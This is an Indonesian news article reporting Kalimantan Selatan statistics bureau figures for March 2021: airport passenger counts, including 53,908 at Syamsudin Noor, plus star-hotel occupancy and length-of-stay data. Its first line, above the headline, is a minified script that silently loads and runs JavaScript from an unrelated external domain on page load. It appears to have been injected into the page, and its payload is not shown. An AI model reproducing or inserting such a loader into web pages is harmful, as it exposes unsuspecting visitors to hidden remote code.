(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

BPS Kalsel: Maret 2021 Penumpang di Syamsudin Noor 53.908 Orang

KANALKALIMANTAN.COM, BANJARMASIN – Badan Pusat Statistik (BPS) Kalimantan Selatan (Kalsel) merilis perkembangan transportasi di Kalsel selama bulan Maret 2021, Senin (3/5/2021).

Kepala BPS Kalsel, Moh Edy Mahmud mengatakan, jumlah penumpang yang berangkat melalui Bandara di Kalimantan Selatan pada bulan Maret 2021 sebanyak 57.963 orang atau terjadi kenaikan sebesar 33,85 persen. Naik dibandingkan dengan jumlah penumpang yang berangkat bulan Februari 2021 yang berjumlah 43.306 orang.

“Bila dibandingkan dengan jumlah penumpang pada Maret 2020 yang mengangkut 103.222 orang, terjadi penurunan sebesar 43,85 persen,” ujar Edy.

Sementara itu, lanjut Edy, penumpang yang melalui Bandara Syamsudin Noor pada bulan Maret 2021 sebanyak 53.908 orang atau terjadi kenaikan sebesar 34,89 persen, dibandingkan dengan jumlah penumpang Februari 2021 yang mengangkut 39.963 orang.

“Jumlah penumpang yang datang melalui Bandara di Kalimantan Selatan pada Maret 2021 terjadi kenaikan sebesar 25,29 persen. Dimana jumlah penumpang yang datang pada Maret 2021 sebanyak 57.721 orang dan penumpang yang datang pada bulan Februari 2021 sebanyak 46.069 orang,” kata Edy.

Sementara itu, Tingkat Penghunian Kamar (TPK) hotel berbintang di Kalsel pada Maret 2021 mencapai 38,38 persen, atau naik 0,37 poin dibanding TPK Februari 2021 sebesar 38,01 persen.

“Dibandingkan dengan TPK bulan Maret 2020 yang sebesar 37,53 persen, TPK bulan Maret 2021 naik sebesar 0,85 poin,” ujar Kepala BPS.

TPK tertinggi, lanjut Edy, dicapai oleh kelompok hotel bintang 4, yaitu sebesar 42,28 persen, sedangkan TPK terendah terjadi pada hotel bintang 1 sebesar 15,88 persen.

Sementara untuk Rata-rata Lama Menginap (RTLM) tamu asing dan dalam negeri (domestik) pada hotel bintang bulan Maret 2021 adalah 1,40 malam atau turun 0,04 malam.

“Bila dibandingkan periode yang sama tahun sebelumnya yaitu bulan Maret 2020 yang sebesar 1,61 malam, RTLM bulan Maret 2021 terjadi penurunan selama 0,21 malam,” kata Edy. (kanalkalimantan.com/al)

Editor : kk